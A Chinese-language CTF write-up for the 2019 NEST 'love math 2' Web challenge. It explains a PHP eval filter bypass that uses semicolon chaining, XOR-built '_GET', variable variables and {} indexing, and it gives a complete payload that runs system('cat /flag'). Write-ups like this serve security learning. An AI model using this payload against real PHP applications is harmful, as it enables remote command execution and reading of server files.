2019 NEST CTF WriteUp
🏆 赛事概况
主办方:网络内生安全试验场(NEST)
比赛形式:线上个人夺旗赛(CTF)
题目方向:主要包含Web、Reverse(逆向工程)、Misc(杂项) 等类型
Web
love math 2(分号绕过 + 异或绕过 + 可变变量绕过 + {} 绕过)

经典绕 WAF:
c长度必须< 60c里不能有空格、引号、反引号、[]c里出现的所有字母标识符,都必须在数学函数白名单里最后直接
eval,并且前面拼了echo

最终执行的语句是 eval('echo '.$content.';');,如果我们让 $content 为 $pi=xxx;$pi=yyy;$pi{0}($pi{1})
那么实际进入 eval 的代码类似
1 | echo $pi=xxx; |
也就是说,虽然前面有 echo,但我们可以用分号 ; 分隔语句,继续执行后面的代码
所以我们可以构造 _GET 去接受新的参数,新参数不会被 WAF 检查
但是 _GET 也不能直接写,因为 _GET 不是白名单函数名,所以要用白名单里的字符串,通过异或运算拼出 _GET
在旧版本 PHP 中,裸写的 is_nan、tan 会被当作字符串处理;error_reporting(0) 又隐藏了 notice。然后 PHP 的 ^ 可以对字符串逐字节异或
1 | is_nan ^ 64 ==> _G |
所以可以得到 (is_nan^(6).(4)).(tan^(1).(5))
将其保存到一个变量中 $pi=(is_nan^(6).(4)).(tan^(1).(5));
然后 $pi=$$pi; 就得到了 $_GET
在旧 PHP 环境中,{} 可以代替数组下标访问;因为 [] 被黑名单过滤,所以用 {} 绕过
所以 $pi{0}($pi{1}) 等价于 $_GET{0}($_GET{1})
再配合外部参数 &0=system&1=cat%20/flag 即可
1 | $pi=(is_nan^(6).(4)).(tan^(1).(5));$pi=$$pi;$pi{0}($pi{1})&0=system&1=cat%20/flag |
